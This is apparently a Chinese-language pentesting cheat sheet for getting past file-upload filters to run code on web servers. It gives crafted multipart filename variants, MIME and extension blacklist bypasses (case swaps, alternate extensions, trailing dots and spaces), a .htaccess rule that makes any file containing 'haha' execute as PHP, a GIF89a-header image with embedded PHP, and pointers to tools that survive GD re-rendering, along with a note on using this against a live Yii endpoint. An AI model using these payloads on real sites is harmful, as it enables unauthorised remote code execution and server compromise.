上传绕过
Content-Disposition: form-data; name="up_picture"; filename="1.
php"
Content-Disposition: form-data; name="up_picture"; filename="1.php"
.jpg"
Content-Disposition: form-data; name="up_picture"; filename="1.php"
Content-Disposition: form-data; name="up_picture"; filename="1.jpg"
Content-Disposition: form-data; name="up_picture"; filename="1.php"
Content-Disposition: form-data; name="up_picture"; filename="1.png"1.php"
Content-Disposition: form-data; name="up_picture"; filename="1.php/1.png"
MIME检测绕过
黑名单检测
1.文件名大小写绕过(Asp,pHp)
2.名单列表绕过(asa,cer)
3.特殊文件名绕过(http包里把文件名改成test.asp.或test.asp_(下划线为空格),这种命名方式在windows系统里是不被允许的,所以需要在burp里进行修改,然后绕过验证后,会被windows自动去掉后面的点和空格)
4.黑名单验证,虽然我们可以采用类似这样的文件后缀绕过程序的检测,如:bypass.phpX(这里的X代表空格%20或其他特殊字符{%80-%99})
-.htaccess 文件攻击
如果PHP安全没配置好,就可以通过move_uploaded_file 函数把自己写的.htaccess文件覆盖掉服务器上的
这样就能任意定义解析名单了
通过一个.htaccess文件调用解析一个文件名中只要包含“haha”这个字符串的任意文件,所以无论文件名是什么样子,只要包含“haha”这个字符串,都可以被以php的方式来解析。
建立一个.htaccess文件,里面的内容如下
<FilesMatch "haha">
SetHandler application/x-httpd-php
</FilesMatch>
内容检测
-文件相关信息检测
图像文件相关信息检测常用的就是getimagesize()函数
只需要把文件头部分伪造就OK了。
GIF89a
<?php phpinfo();?>
-文件加载检测
变态检测,一般是调用API或函数去进行文件加载测试
常见的是图像渲染测试,再变态点的是进行二次渲染
二次渲染绕过参考:
https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE
https://rdot.org/forum/showthread.php?t=2780
上传接口,未限制上传文件类型(后缀)。提交空内容与错误图片,返回错误信息告知是Yii框架调用了php_GD库处理图片。同事指导,用俄罗斯人发的工具在二次渲染的图片上插入php代码后再上传php,可绕过GD库二次渲染。